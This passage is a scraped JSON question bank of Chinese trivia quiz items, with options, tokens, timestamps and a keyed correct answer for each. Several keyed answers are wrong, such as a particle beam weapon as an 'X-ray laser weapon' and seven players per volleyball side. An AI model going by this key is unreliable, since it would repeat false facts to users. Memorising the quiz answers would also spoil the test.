04:43:48","status":"1"},{"questionId":"8801428844","questionIndex":"2","questionStem":"“粒子束武器”是指什么武器?","options":"[{\"optionId\":\"I8wSx0BRhzaKgXd3GoW8XGf8QZ9wDnsTPwTc\",\"optionDesc\":\"微波武器\"},{\"optionId\":\"I8wSx0BRhzaKgXd3GoW8XkzyzP3On7bXiDRW\",\"optionDesc\":\"X射线激光武器\"},{\"optionId\":\"I8wSx0BRhzaKgXd3GoW8XR2hSdn3-bg1S7wv\",\"optionDesc\":\"激光武器\"}]","questionToken":"I8wSx0BRhzaKgXcmCc2nDPGD6Ph9XKHLwXv1JBKYWN2jlt-60ewxftUajK8A5Jfto6YlW28kRuaCmiVspl78g1SD_sEBcw","correct":"{\"optionId\":\"I8wSx0BRhzaKgXd3GoW8XkzyzP3On7bXiDRW\",\"optionDesc\":\"X射线激光武器\"}","create_time":"27/1/2021 04:41:41","update_time":"27/1/2021 04:41:41","status":"1"},{"questionId":"8801428847","questionIndex":"3","questionStem":"防弹衣是由什么材料制成的?","options":"[{\"optionId\":\"I8wSx0BRhzaKgnd3GoW8XiLGBhqnUcPmVrBDpw\",\"optionDesc\":\"陶瓷玻璃钢\"},{\"optionId\":\"I8wSx0BRhzaKgnd3GoW8XPFQTbxfFtgZX6Ptrg\",\"optionDesc\":\"软不透钢\"},{\"optionId\":\"I8wSx0BRhzaKgnd3GoW8XRzLQsPwg2QHIXxYWg\",\"optionDesc\":\"钨合金钢\"}]","questionToken":"I8wSx0BRhzaKgncnCc2nCyJ2c3dq6_8ARiAxZrw2uJdoy48UWKTY77Lj33Iae9KJm1QDliDA-4vQXdMrD-UWp9DVKGnYbg","correct":"{\"optionId\":\"I8wSx0BRhzaKgnd3GoW8XiLGBhqnUcPmVrBDpw\",\"optionDesc\":\"陶瓷玻璃钢\"}","create_time":"27/1/2021 04:43:15","update_time":"27/1/2021 04:43:15","status":"1"},{"questionId":"8801428848","questionIndex":"4","questionStem":"左轮手枪一共可装几颗子弹?","options":"[{\"optionId\":\"I8wSx0BRhzaKjXd3GoW8Xae4bX4LvzOLvVY\",\"optionDesc\":\"7颗\"},{\"optionId\":\"I8wSx0BRhzaKjXd3GoW8XgctBOIt-crCrAk\",\"optionDesc\":\"6颗\"},{\"optionId\":\"I8wSx0BRhzaKjXd3GoW8XNPuqeeNMYCwZDw\",\"optionDesc\":\"5颗\"}]","questionToken":"I8wSx0BRhzaKjXcgCc2nC-Wu9f_d2P6Szf2zvaaFjd8wFQedwTOpFwu9fuAqFtOzB-jZEavhA9MdTHk0MfAKafGXQHQdYQ","correct":"{\"optionId\":\"I8wSx0BRhzaKjXd3GoW8XgctBOIt-crCrAk\",\"optionDesc\":\"6颗\"}","create_time":"27/1/2021 04:37:00","update_time":"27/1/2021 04:37:00","status":"1"},{"questionId":"8801428849","questionIndex":"5","questionStem":"下列世界奇迹哪个位于伊拉克?","options":"[{\"optionId\":\"I8wSx0BRhzaKjHd3GoW8Xu4pdwK08DFF_rRO\",\"optionDesc\":\"空中花园\"},{\"optionId\":\"I8wSx0BRhzaKjHd3GoW8XbemwQYhfnXvN4Ne\",\"optionDesc\":\"宙斯神像\"},{\"optionId\":\"I8wSx0BRhzaKjHd3GoW8XEkb2bfhw-O_Hvbq\",\"optionDesc\":\"太阳神像\"}]","questionToken":"I8wSx0BRhzaKjHchCc2nDMnTUv70IdJmx7vdd3z_4JIBUbbxZ-R1Iiq4TWSFM1UOCfiCpf9NU8XnEFdXdaBOe9sNO76X4Q","correct":"{\"optionId\":\"I8wSx0BRhzaKjHd3GoW8Xu4pdwK08DFF_rRO\",\"optionDesc\":\"空中花园\"}","create_time":"27/1/2021 04:46:05","update_time":"27/1/2021 04:46:05","status":"1"},{"questionId":"8801428850","questionIndex":"2","questionStem":"第一次世界大战开始的时间是?","options":"[{\"optionId\":\"I8wSx0BRhzaLhXd3GoW8XY9wsLa3SDcnAR3C7g\",\"optionDesc\":\"1939\"},{\"optionId\":\"I8wSx0BRhzaLhXd3GoW8XID_QftuSV8AL8cBZw\",\"optionDesc\":\"1910\"},{\"optionId\":\"I8wSx0BRhzaLhXd3GoW8XsMXs1vovMbXczv5_A\",\"optionDesc\":\"1914\"}]","questionToken":"I8wSx0BRhzaLhXcmCc2nCzWDpoOtc9DQ2AXWX-ThfuZQCzGJvNz0MT366t9XL_xwNCJupGea-GfQ-dE2vb9LsVoxE9rXTw","correct":"{\"optionId\":\"I8wSx0BRhzaLhXd3GoW8XsMXs1vovMbXczv5_A\",\"optionDesc\":\"1914\"}","create_time":"27/1/2021 04:36:41","update_time":"27/1/2021 04:36:41","status":"1"},{"questionId":"8801428852","questionIndex":"2","questionStem":"第二次世界大战是哪一年爆发的?","options":"[{\"optionId\":\"I8wSx0BRhzaLh3d3GoW8XR4A4CIoRZS-ER8UWw\",\"optionDesc\":\"1940\"},{\"optionId\":\"I8wSx0BRhzaLh3d3GoW8Xpep6Ac4_jlbyTfQoQ\",\"optionDesc\":\"1939\"},{\"optionId\":\"I8wSx0BRhzaLh3d3GoW8XFvEUJQdDyW7Htgg5g\",\"optionDesc\":\"1938\"}]","questionToken":"I8wSx0BRhzaLh3cmCc2nDAzD0Aaw55lLLU8ZbOwQkwf-nS55RdBeOYFOohhXIcw7Kw5JcT2_XtwQNhgZIKH58EKB0jPhJw","correct":"{\"optionId\":\"I8wSx0BRhzaLh3d3GoW8Xpep6Ac4_jlbyTfQoQ\",\"optionDesc\":\"1939\"}","create_time":"27/1/2021 04:34:24","update_time":"27/1/2021 04:34:24","status":"1"},{"questionId":"8801428853","questionIndex":"2","questionStem":"下列古都哪个被称为“六朝古都”?","options":"[{\"optionId\":\"I8wSx0BRhzaLhnd3GoW8XDZucZFf0I-z\",\"optionDesc\":\"西安\"},{\"optionId\":\"I8wSx0BRhzaLhnd3GoW8XSqXTqXFJUd4\",\"optionDesc\":\"北京\"},{\"optionId\":\"I8wSx0BRhzaLhnd3GoW8XjBBfSHP2jhP\",\"optionDesc\":\"南京\"}]","questionToken":"I8wSx0BRhzaLhncmCc2nDI8f8SX8omP5anu8kc-WekI7PVTligGTr-m75OY5pIjStgZigqe3HdRgg1qTh_zRe4F6AI1w-Q","correct":"{\"optionId\":\"I8wSx0BRhzaLhnd3GoW8XjBBfSHP2jhP\",\"optionDesc\":\"南京\"}","create_time":"27/1/2021 04:39:42","update_time":"27/1/2021 04:39:42","status":"1"},{"questionId":"8801428854","questionIndex":"5","questionStem":"史书《汉书》是哪位史学家所著?","options":"[{\"optionId\":\"I8wSx0BRhzaLgXd3GoW8Xg0bF9yvZIA0fNJtBg\",\"optionDesc\":\"班固\"},{\"optionId\":\"I8wSx0BRhzaLgXd3GoW8XMADjY0MOZA1dzQoVA\",\"optionDesc\":\"司马迁\"},{\"optionId\":\"I8wSx0BRhzaLgXd3GoW8XRl8P_Nkqp8aZ0f22g\",\"optionDesc\":\"左丘明\"}]","questionToken":"I8wSx0BRhzaLgXchCc2nC2LgiwzanflvcQ1ow6aUBtBuoZ4LvsshqBzYovXYsfO43FQo1ElKkvAuYAURb86pgVl8NQf2gg","correct":"{\"optionId\":\"I8wSx0BRhzaLgXd3GoW8Xg0bF9yvZIA0fNJtBg\",\"optionDesc\":\"班固\"}","create_time":"27/1/2021 04:50:46","update_time":"27/1/2021 04:50:46","status":"1"},{"questionId":"8801428888","questionIndex":"5","questionStem":"我国古代“十恶不赦”中的首恶是?","options":"[{\"optionId\":\"I8wSx0BRhzaGjXd3GoW8XYlcXfLYD8BxzoxE\",\"optionDesc\":\"不道\"},{\"optionId\":\"I8wSx0BRhzaGjXd3GoW8XgX0v5jDbnCd0svb\",\"optionDesc\":\"谋反\"},{\"optionId\":\"I8wSx0BRhzaGjXd3GoW8XPdWcA_2R6OhDdzt\",\"optionDesc\":\"不义\"}]","questionToken":"I8wSx0BRhzaGjXchCc2nDJb8nLg5ygXNx3zXN_euQN_mF58XH5UbkS63hYuNl3J1IKw4sbfIXbcx80hHIEauimOgce0REw","correct":"{\"optionId\":\"I8wSx0BRhzaGjXd3GoW8XgX0v5jDbnCd0svb\",\"optionDesc\":\"谋反\"}","create_time":"27/1/2021 04:37:11","update_time":"27/1/2021 04:37:11","status":"1"},{"questionId":"8801428890","questionIndex":"4","questionStem":"古代盛世哪个是李世民统治的时期?","options":"[{\"optionId\":\"I8wSx0BRhzaHhXd3GoW8XrbhsXf_2BgEn2hTbA\",\"optionDesc\":\"贞观之治\"},{\"optionId\":\"I8wSx0BRhzaHhXd3GoW8XMfOo8NKGaKF0UsTcg\",\"optionDesc\":\"文景之治\"},{\"optionId\":\"I8wSx0BRhzaHhXd3GoW8XdJRnCskkKJ1Ewbj_Q\",\"optionDesc\":\"康乾之治\"}]","questionToken":"I8wSx0BRhzaHhXcgCc2nDHJ05A9U8ccHqKu1xgcwLZw05sIJi2oaXe1VJGZXy8x376BwJdAe7T1qo78cv9KGb-4upIJD4Q","correct":"{\"optionId\":\"I8wSx0BRhzaHhXd3GoW8XrbhsXf_2BgEn2hTbA\",\"optionDesc\":\"贞观之治\"}","create_time":"27/1/2021 04:35:46","update_time":"27/1/2021 04:35:46","status":"1"},{"questionId":"8801428891","questionIndex":"4","questionStem":"素有“瓷都”之称的景德镇位于哪个省份?","options":"[{\"optionId\":\"I8wSx0BRhzaHhHd3GoW8XQmMqtYixTAXTgoo_A\",\"optionDesc\":\"河北\"},{\"optionId\":\"I8wSx0BRhzaHhHd3GoW8XJIwKYzofeTVUSN7BQ\",\"optionDesc\":\"河南\"},{\"optionId\":\"I8wSx0BRhzaHhHd3GoW8XgvaIdERFjjlA2CQ_Q\",\"optionDesc\":\"江西\"}]","questionToken":"I8wSx0BRhzaHhHcgCc2nC3y5pBrogDB2V17u4Z655jjJBlSQh8fq3QgcPqnA9i4CABb8bEuIuYIerC4GSaDBxHd_xgYmRg","correct":"{\"optionId\":\"I8wSx0BRhzaHhHd3GoW8XgvaIdERFjjlA2CQ_Q\",\"optionDesc\":\"江西\"}","create_time":"27/1/2021 04:35:24","update_time":"27/1/2021 04:35:24","status":"1"},{"questionId":"8801428892","questionIndex":"1","questionStem":"马拉松长跑来源于马拉松战役,它的爆发地是","options":"[{\"optionId\":\"I8wSx0BRhzaHh3d3GoW8Xhfp6P6DNodYs587fA\",\"optionDesc\":\"古代希腊\"},{\"optionId\":\"I8wSx0BRhzaHh3d3GoW8XLhELU4YSDbFdvLtPg\",\"optionDesc\":\"马其顿\"},{\"optionId\":\"I8wSx0BRhzaHh3d3GoW8XWyGnRSYlVJGp_CiqQ\",\"optionDesc\":\"古代罗马\"}]","questionToken":"I8wSx0BRhzaHh3clCc2nDJpa_XXMDjZBCYzXXzzplcu9TldrPXp1gzzKt6LEPj2lysS3WhJfU1RNB8JP-I-_Y7Mh6wz71Q","correct":"{\"optionId\":\"I8wSx0BRhzaHh3d3GoW8Xhfp6P6DNodYs587fA\",\"optionDesc\":\"古代希腊\"}","create_time":"27/1/2021 04:48:27","update_time":"27/1/2021 04:48:27","status":"1"},{"questionId":"8801428931","questionIndex":"1","questionStem":"古代科举考试最后在殿试中考第二名被称为?","options":"[{\"optionId\":\"I8wSx0BRhzfPLP4mtf-lSB8OqmNfHm2sd-FU\",\"optionDesc\":\"执牛耳\"},{\"optionId\":\"I8wSx0BRhzfPLP4mtf-lSp6_3a9a6SixuZck\",\"optionDesc\":\"榜眼\"},{\"optionId\":\"I8wSx0BRhzfPLP4mtf-lSeu8U320BR0nVuUW\",\"optionDesc\":\"探花\"}]","questionToken":"I8wSx0BRhzfPLP50pre-H5LCMFWw80ztDXcjDI26jTRKT4guntNz30W2raKcqIoRRpujXbd9MPj3pYY80ew7jcwHvCDUKA","correct":"{\"optionId\":\"I8wSx0BRhzfPLP4mtf-lSp6_3a9a6SixuZck\",\"optionDesc\":\"榜眼\"}","create_time":"27/1/2021 04:49:00","update_time":"27/1/2021 04:49:00","status":"1"},{"questionId":"8801428932","questionIndex":"3","questionStem":"世界上规模最大的大学是哪所高校?","options":"[{\"optionId\":\"I8wSx0BRhzfPL_4mtf-lSvEmTPFeIwtDwuc9\",\"optionDesc\":\"纽约州立大学\"},{\"optionId\":\"I8wSx0BRhzfPL_4mtf-lSFofocW7m1ZJYdhF\",\"optionDesc\":\"剑桥大学\"},{\"optionId\":\"I8wSx0BRhzfPL_4mtf-lSTMCWBpnlwpMPH6_\",\"optionDesc\":\"哈佛大学\"}]","questionToken":"I8wSx0BRhzfPL_52pre-GEh_fV4jin8WIlRDqUH53L6TGB1uC2RdTSgDsTxn4I4Gpjvi5GXEMLdbM8vTFvZ4LgLl_vp7cA","correct":"{\"optionId\":\"I8wSx0BRhzfPL_4mtf-lSvEmTPFeIwtDwuc9\",\"optionDesc\":\"纽约州立大学\"}","create_time":"27/1/2021 04:40:03","update_time":"27/1/2021 04:40:03","status":"1"},{"questionId":"8801428933","questionIndex":"3","questionStem":"我国收入的字最多的字典是哪一部?","options":"[{\"optionId\":\"I8wSx0BRhzfPLv4mtf-lSbYouhIT6ONHvEGn\",\"optionDesc\":\"《新华字典》\"},{\"optionId\":\"I8wSx0BRhzfPLv4mtf-lSAZ5DvCTIbwjXnu8\",\"optionDesc\":\"《说文解字》\"},{\"optionId\":\"I8wSx0BRhzfPLv4mtf-lSiNF2sfGQQCb_5Kx\",\"optionDesc\":\"《康熙字典》\"}]","questionToken":"I8wSx0BRhzfPLv52pre-H8x1akpF5w5WUJA7hjkD071pCFZ_p9ycOPjZZz2ForM1zaeHsymtcZAejCz9stiB-bi26mXauQ","correct":"{\"optionId\":\"I8wSx0BRhzfPLv4mtf-lSiNF2sfGQQCb_5Kx\",\"optionDesc\":\"《康熙字典》\"}","create_time":"27/1/2021 04:49:03","update_time":"27/1/2021 04:49:03","status":"1"},{"questionId":"8801428937","questionIndex":"3","questionStem":"除中国外还有哪个国家的人口超10亿?","options":"[{\"optionId\":\"I8wSx0BRhzfPKv4mtf-lSSKYzJH42dPrAL8EDw\",\"optionDesc\":\"加拿大\"},{\"optionId\":\"I8wSx0BRhzfPKv4mtf-lSNbDlJo8pwZtYklwxQ\",\"optionDesc\":\"印尼\"},{\"optionId\":\"I8wSx0BRhzfPKv4mtf-lSh9otZVS_hWvVcEWJA\",\"optionDesc\":\"印度\"}]","questionToken":"I8wSx0BRhzfPKv52pre-Hy2rs_YbPHzygUsIMJ3V3uVCBk-b1J3H9HSf88gnncNEapnAnu5zWrINFeCSHuHAgVpGLqt-Xg","correct":"{\"optionId\":\"I8wSx0BRhzfPKv4mtf-lSh9otZVS_hWvVcEWJA\",\"optionDesc\":\"印度\"}","create_time":"27/1/2021 04:34:39","update_time":"27/1/2021 04:34:39","status":"1"},{"questionId":"8801428939","questionIndex":"2","questionStem":"哪个国家一般不准女性在生人面前露面?","options":"[{\"optionId\":\"I8wSx0BRhzfPJP4mtf-lSB6Bibx_Rd_6DYep\",\"optionDesc\":\"印尼\"},{\"optionId\":\"I8wSx0BRhzfPJP4mtf-lShSc8h3Z1KIiRoi5\",\"optionDesc\":\"沙特阿拉伯\"},{\"optionId\":\"I8wSx0BRhzfPJP4mtf-lSaO1VfXS4flXzZxD\",\"optionDesc\":\"印度\"}]","questionToken":"I8wSx0BRhzfPJP53pre-GKLAhmayV7l4rPzdNiXo3aWiMcE2qFjEp_ZtWCm7shHXqIHo86JBYiCnWyQ20pi6LeyvuFwOfg","correct":"{\"optionId\":\"I8wSx0BRhzfPJP4mtf-lShSc8h3Z1KIiRoi5\",\"optionDesc\":\"沙特阿拉伯\"}","create_time":"27/1/2021 04:37:11","update_time":"27/1/2021 04:37:11","status":"1"},{"questionId":"8801428940","questionIndex":"4","questionStem":"以下动物中视角最大的是?","options":"[{\"optionId\":\"I8wSx0BRhzfILf4mtf-lSI6iFi2Qy42VgtUj\",\"optionDesc\":\"虎\"},{\"optionId\":\"I8wSx0BRhzfILf4mtf-lSR4r1uDR6mKyobht\",\"optionDesc\":\"马\"},{\"optionId\":\"I8wSx0BRhzfILf4mtf-lSlx0yorDMZkeqTk4\",\"optionDesc\":\"鱼\"}]","questionToken":"I8wSx0BRhzfILf5xpre-H2h1EPKZscAkxYkEQJuSa3LaQZUfHxXbqI3XQCvP5T3WkPM165Pap5gqU8hHow8ZdrY9fNDeVQ","correct":"{\"optionId\":\"I8wSx0BRhzfILf4mtf-lSlx0yorDMZkeqTk4\",\"optionDesc\":\"鱼\"}","create_time":"27/1/2021 04:42:52","update_time":"27/1/2021 04:42:52","status":"1"},{"questionId":"8801428941","questionIndex":"4","questionStem":"现代足球运动的发源地是哪个国家?","options":"[{\"optionId\":\"I8wSx0BRhzfILP4mtf-lSOAHGqy6NOIRXA\",\"optionDesc\":\"莫桑比克\"},{\"optionId\":\"I8wSx0BRhzfILP4mtf-lSqkLibe8I1JYMw\",\"optionDesc\":\"英国\"},{\"optionId\":\"I8wSx0BRhzfILP4mtf-lSWFnUkQsstOkmw\",\"optionDesc\":\"法国\"}]","questionToken":"I8wSx0BRhzfILP5xpre-GMOam5aYhB2Q5ztxHC2Tp65ugesbdSeLa7Kc4wkMmNs0cuA5xEFefoENTrgKfpnjX8iKExIfDg","correct":"{\"optionId\":\"I8wSx0BRhzfILP4mtf-lSqkLibe8I1JYMw\",\"optionDesc\":\"英国\"}","create_time":"27/1/2021 04:41:17","update_time":"27/1/2021 04:41:17","status":"1"},{"questionId":"8801428942","questionIndex":"1","questionStem":"我国四大名著中,成书最晚的一部是?","options":"[{\"optionId\":\"I8wSx0BRhzfIL_4mtf-lSMKS5gpwweGnFbE\",\"optionDesc\":\"《三国演义》\"},{\"optionId\":\"I8wSx0BRhzfIL_4mtf-lSh9JG0YnSYiq-Ac\",\"optionDesc\":\"《红楼梦》\"},{\"optionId\":\"I8wSx0BRhzfIL_4mtf-lSdAiuilTH8gjmHQ\",\"optionDesc\":\"《西游记》\"}]","questionToken":"I8wSx0BRhzfIL_50pre-H49lN-xi7Hn7vnjzNWx4TPaTOY-wISmVgufVTTZMdOBa5rtzT0T4X9g8nDedy_nlor2rn9VT1Q","correct":"{\"optionId\":\"I8wSx0BRhzfIL_4mtf-lSh9JG0YnSYiq-Ac\",\"optionDesc\":\"《红楼梦》\"}","create_time":"27/1/2021 04:49:00","update_time":"27/1/2021 04:49:00","status":"1"},{"questionId":"8801428943","questionIndex":"1","questionStem":"我国被称为“不夜城”的城市是哪一座城市? ","options":"[{\"optionId\":\"I8wSx0BRhzfILv4mtf-lST52o8MB5VMw6wcx\",\"optionDesc\":\"上海\"},{\"optionId\":\"I8wSx0BRhzfILv4mtf-lSmfSmflsUrm0IY26\",\"optionDesc\":\"漠河\"},{\"optionId\":\"I8wSx0BRhzfILv4mtf-lSD5ysPZ_8CJ99TBs\",\"optionDesc\":\"北京\"}]","questionToken":"I8wSx0BRhzfILv50pre-GJQIVoksR3LNh5Yk6eLziBTfZIjboPRd0fnXze5XhZgx6B5Y7PukibqXpVesW203DKvFKSodYA","correct":"{\"optionId\":\"I8wSx0BRhzfILv4mtf-lSmfSmflsUrm0IY26\",\"optionDesc\":\"漠河\"}","create_time":"27/1/2021 04:32:32","update_time":"27/1/2021 04:32:32","status":"1"},{"questionId":"8801428944","questionIndex":"1","questionStem":"排球比赛场上一方运动员人数为?","options":"[{\"optionId\":\"I8wSx0BRhzfIKf4mtf-lSpwapTacAZM_qdk\",\"optionDesc\":\"7人\"},{\"optionId\":\"I8wSx0BRhzfIKf4mtf-lSR73TB7sOvzg_QI\",\"optionDesc\":\"6人\"},{\"optionId\":\"I8wSx0BRhzfIKf4mtf-lSJfmYAMXEUev9LA\",\"optionDesc\":\"9人\"}]","questionToken":"I8wSx0BRhzfIKf50pre-GJ04Lp2zQZj2MnigwYbVBaTo-m4F7X6wUnRX6687R0x09F7zzyy6nn0rzsamL-pQMeD8Kg7veQ","correct":"{\"optionId\":\"I8wSx0BRhzfIKf4mtf-lSpwapTacAZM_qdk\",\"optionDesc\":\"7人\"}","create_time":"27/1/2021 04:36:16","update_time":"27/1/2021 04:36:16","status":"1"},{"questionId":"8801428945","questionIndex":"2","questionStem":"人体可以导电是因为人体中含有?","options":"[{\"optionId\":\"I8wSx0BRhzfIKP4mtf-lSce6pQMOFzmncA\",\"optionDesc\":\"金属元素\"},{\"optionId\":\"I8wSx0BRhzfIKP4mtf-lSjaRJEzAngpOdw\",\"optionDesc\":\"水\"},{\"optionId\":\"I8wSx0BRhzfIKP4mtf-lSEj3Gc0f5Int_g\",\"optionDesc\":\"脂肪\"}]","questionToken":"I8wSx0BRhzfIKP53pre-GPFhHez6vJOsr2uPnr69Fug9dyIKozdji5aOITyWPvraC7hgfYiZM06uRvD5yhUi_l1QVfHnoQ","correct":"{\"optionId\":\"I8wSx0BRhzfIKP4mtf-lSjaRJEzAngpOdw\",\"optionDesc\":\"水\"}","create_time":"27/1/2021 04:48:24","update_time":"27/1/2021 04:48:24","status":"1"},{"questionId":"8801428946","questionIndex":"5","questionStem":"五线谱是哪国人发明的?","options":"[{\"optionId\":\"I8wSx0BRhzfIK_4mtf-lSmyPYqP78yf7hzjz0A\",\"optionDesc\":\"意大利\"},{\"optionId\":\"I8wSx0BRhzfIK_4mtf-lSBEkiym3vAhzZCOqGQ\",\"optionDesc\":\"法国\"},{\"optionId\":\"I8wSx0BRhzfIK_4mtf-lSbDDIvgXEtflKd3Efw\",\"optionDesc\":\"德国\"}]","questionToken":"I8wSx0BRhzfIK_5wpre-GLM4A2s4xodz2IMYhiMLDo8a6Sqbo88rSqVQMHhJm0RX7TO8eQsmccVLC1p8DUPe0Ne64YyH9w","correct":"{\"optionId\":\"I8wSx0BRhzfIK_4mtf-lSmyPYqP78yf7hzjz0A\",\"optionDesc\":\"意大利\"}","create_time":"27/1/2021 04:39:41","update_time":"27/1/2021 04:39:41","status":"1"},{"questionId":"8801428948","questionIndex":"1","questionStem":"世界上是被称为“教育王国”的哪一个国家?","options":"[{\"optionId\":\"I8wSx0BRhzfIJf4mtf-lSeYeVeShMDfyMGQ\",\"optionDesc\":\"美国\"},{\"optionId\":\"I8wSx0BRhzfIJf4mtf-lSJD9hKh3yKNO-u0\",\"optionDesc\":\"日本\"},{\"optionId\":\"I8wSx0BRhzfIJf4mtf-lSn334k567KD37rg\",\"optionDesc\":\"以色列\"}]","questionToken":"I8wSx0BRhzfIJf50pre-H1FrpUufh4Mm3dY_p9E39gEbIX9-cI6QRAWr4CoPKPq6H1OzkamFd8A1PMI7Lo-cEynb3njxDA","correct":"{\"optionId\":\"I8wSx0BRhzfIJf4mtf-lSn334k567KD37rg\",\"optionDesc\":\"以色列\"}","create_time":"27/1/2021 04:53:13","update_time":"27/1/2021 04:53:13","status":"1"},{"questionId":"8801428949","questionIndex":"2","questionStem":"“海市蜃楼”通常发生在什么季节?","options":"[{\"optionId\":\"I8wSx0BRhzfIJP4mtf-lSjDdG_gtN1nfO7U\",\"optionDesc\":\"夏天\"},{\"optionId\":\"I8wSx0BRhzfIJP4mtf-lSTQ649rLG7mR_TA\",\"optionDesc\":\"秋天\"},{\"optionId\":\"I8wSx0BRhzfIJP4mtf-lSJJRCtpBj7n_xlg\",\"optionDesc\":\"春天\"}]","questionToken":"I8wSx0BRhzfIJP53pre-H22tWYJxXED619poNC-H65Q5x5hYi2LK8z-ni9eIJTNSBgeHpJ_pT3OqiOXLJHSbZb62Bnij7Q","correct":"{\"optionId\":\"I8wSx0BRhzfIJP4mtf-lSjDdG_gtN1nfO7U\",\"optionDesc\":\"夏天\"}","create_time":"27/1/2021 04:40:34","update_time":"27/1/2021 04:40:34","status":"1"},{"questionId":"8801432237","questionIndex":"4","questionStem":"“豆寇年华”是指几岁?","options":"[{\"optionId\":\"I8wSx0BQjTw3Er-BA64qVCQglp-069uY_Jo_mg\",\"optionDesc\":\"16岁\"},{\"optionId\":\"I8wSx0BQjTw3Er-BA64qVnpuMNBtyqnhlG9_fw\",\"optionDesc\":\"13岁\"},{\"optionId\":\"I8wSx0BQjTw3Er-BA64qVSZtcGjMYbv8UAPFgQ\",\"optionDesc\":\"12岁\"}]","questionToken":"I8wSx0BQjTw3Er_WEOYxAwPNhkYI4mb-stAfMRjZawYoQDZ8WurdirGl__kAPZ8NEi9fVVF6-NH2agW-Q3NypljbWUh6sg","correct":"{\"optionId\":\"I8wSx0BQjTw3Er-BA64qVnpuMNBtyqnhlG9_fw\",\"optionDesc\":\"13岁\"}","create_time":"27/1/2021 04:49:21","update_time":"27/1/2021 04:49:21","status":"1"},{"questionId":"8801432238","questionIndex":"5","questionStem":"“无事不登三宝殿”的“三宝”是指哪三宝?","options":"[{\"optionId\":\"I8wSx0BQjTw3Hb-BA64qVMdsOlWBf8Un_DMI\",\"optionDesc\":\"书、剑、琴\"},{\"optionId\":\"I8wSx0BQjTw3Hb-BA64qVsah4wvBcKh7KLjL\",\"optionDesc\":\"佛、法、僧\"},{\"optionId\":\"I8wSx0BQjTw3Hb-BA64qVa7pGk-F6_Zj5taf\",\"optionDesc\":\"金、银、玉\"}]","questionToken":"I8wSx0BQjTw3Hb_XEOYxAzCwxxTj90doEUT5Wd7QqD-wv0ht2xj_SbsysTpAS-ZwPOvdoOeSkvm9FLCJrx9xN_U62Zkc1w","correct":"{\"optionId\":\"I8wSx0BQjTw3Hb-BA64qVsah4wvBcKh7KLjL\",\"optionDesc\":\"佛、法、僧\"}","create_time":"27/1/2021 04:38:09","update_time":"27/1/2021 04:38:09","status":"1"},{"questionId":"8801432239","questionIndex":"2","questionStem":"“信天游”流行于哪一带地方?","options":"[{\"optionId\":\"I8wSx0BQjTw3HL-BA64qVo9VAfxj1E9rW9AUsg\",\"optionDesc\":\"陕北\"},{\"optionId\":\"I8wSx0BQjTw3HL-BA64qVVcEGyT5gyqUcp8lhg\",\"optionDesc\":\"西南\"},{\"optionId\":\"I8wSx0BQjTw3HL-BA64qVFuEKbFryHyuJ0PnGg\",\"optionDesc\":\"华北\"}]","questionToken":"I8wSx0BQjTw3HL_QEOYxBMjBHzLnmNtiEwjiiZRI7ijFUote2uTnmksyLV59iFWtA8B8WvEpknRam6pfwieTM0geFL_D4A","correct":"{\"optionId\":\"I8wSx0BQjTw3HL-BA64qVo9VAfxj1E9rW9AUsg\",\"optionDesc\":\"陕北\"}","create_time":"27/1/2021 03:36:45","update_time":"27/1/2021 03:36:45","status":"1"},{"questionId":"8801432240","questionIndex":"5","questionStem":"被人颂称“诗魔”的是谁?","options":"[{\"optionId\":\"I8wSx0BQjTwwFb-BA64qVC9s8aYNlVIDjyk\",\"optionDesc\":\"李商隐\"},{\"optionId\":\"I8wSx0BQjTwwFb-BA64qVZEnUj2zYRlE6Ro\",\"optionDesc\":\"王维\"},{\"optionId\":\"I8wSx0BQjTwwFb-BA64qVhnfiHjt0eE0eCY\",\"optionDesc\":\"白居易\"}]","questionToken":"I8wSx0BQjTwwFb_XEOYxBHj8uTB2CfG4bE5jclHNw2ifBi-mydPaH1bGXsTB5exycPJgTHf02PI5J8xakkApxTrPQyO7Nw","correct":"{\"optionId\":\"I8wSx0BQjTwwFb-BA64qVhnfiHjt0eE0eCY\",\"optionDesc\":\"白居易\"}","create_time":"27/1/2021 04:40:38","update_time":"27/1/2021 04:40:38","status":"1"},{"questionId":"8801432242","questionIndex":"1","questionStem":"西游记中的火焰山在哪里?","options":"[{\"optionId\":\"I8wSx0BQjTwwF7-BA64qVEq96B-0ajn12zLDyQ\",\"optionDesc\":\"黄土高坡\"},{\"optionId\":\"I8wSx0BQjTwwF7-BA64qVeQUJ-Qrhsfyh3nYZQ\",\"optionDesc\":\"四川盆地\"},{\"optionId\":\"I8wSx0BQjTwwF7-BA64qViXKSIQmO1mKbbolxA\",\"optionDesc\":\"吐鲁番盆地\"}]","questionToken":"I8wSx0BQjTwwF7_TEOYxBBfiowPBQM_tVM1yMRpEBAzga40j2dJnrU0LCwhnym2cVQTVyqHP69c9wk78Tx5-pUWIyOu_LQ","correct":"{\"optionId\":\"I8wSx0BQjTwwF7-BA64qViXKSIQmO1mKbbolxA\",\"optionDesc\":\"吐鲁番盆地\"}","create_time":"27/1/2021 04:43:43","update_time":"27/1/2021 04:43:43","status":"1"},{"questionId":"8801432243","questionIndex":"4","questionStem":"吴敬梓是哪本名著的作者?","options":"[{\"optionId\":\"I8wSx0BQjTwwFr-BA64qVSKn2-opAsMwCMc\",\"optionDesc\":\"《武林外传》\"},{\"optionId\":\"I8wSx0BQjTwwFr-BA64qVK5o2D27BqDTwNQ\",\"optionDesc\":\"《三侠五义》\"},{\"optionId\":\"I8wSx0BQjTwwFr-BA64qVkr3gFAjHvqEi7U\",\"optionDesc\":\"《儒林外史》\"}]","questionToken":"I8wSx0BQjTwwFr_WEOYxBKJ77or1iXWS5n5Ovqr3xbPnGXq6aAEQiNJ_PRBKc42rvXjwV7adFSPNqpdtQd4MfOPci4fjBQ","correct":"{\"optionId\":\"I8wSx0BQjTwwFr-BA64qVkr3gFAjHvqEi7U\",\"optionDesc\":\"《儒林外史》\"}","create_time":"27/1/2021 04:44:52","update_time":"27/1/2021 